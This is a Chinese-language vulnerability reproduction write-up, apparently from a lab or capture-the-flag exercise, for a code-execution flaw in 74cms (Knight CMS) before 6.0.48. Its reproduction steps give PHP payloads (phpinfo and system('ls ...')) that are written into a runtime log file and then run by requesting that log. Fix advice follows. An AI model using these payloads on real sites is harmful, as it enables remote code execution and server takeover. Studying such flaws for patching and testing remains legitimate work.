漏洞描述
74cms由于函数过滤不严格导致攻击者可以通过构造执行任意代码
影响版本
骑士 CMS < 6.0.48
风险等级
高
漏洞环境搭建
74 cms: 74cms_Home_Setup_v6.0.20.zip
系统:ubuntu18.04.5
php环境:php 5.6
系统镜像:http://old-releases.ubuntu.com/releases/
web源码下载:https://www.74cms.com/download/index.html
准备好后直接把源码放到var/www/html目录下傻瓜式下一步下一步!
漏洞复现
① 首先构造含有phpinfo()函数的POST包:
<?php phpinfo(); ob_flush();?>/r/n/var/www/html/data/Runtime/Logs/Home/Y_M_D.log
② 然后POST方式直接访问该日志文件,得到phpinfo的具体信息,得知一些禁用的php函数
③ 按照上述1、2的方式通过构造未禁用的函数,进行命令执行得到flag
访问/var/www/html/data/Runtime/Logs/Home/Y_M_D.log执行写入日志文件的命令
4)flag利用截图
/var/www/html/data/Runtime/Logs/Home/Y_M_D.log
<?php system('ls /var/www/'); ob_flush();?>/r/n!此时,这将作为一条日志写在默认的可执行的日志路径下:
/var/www/html/data/Runtime/Logs/Home/Y_M_D.log
访问/var/www/html/data/Runtime/Logs/Home/Y_M_D.log执行
修复建议
- 升级到最新版本
- 对函数做严格的过滤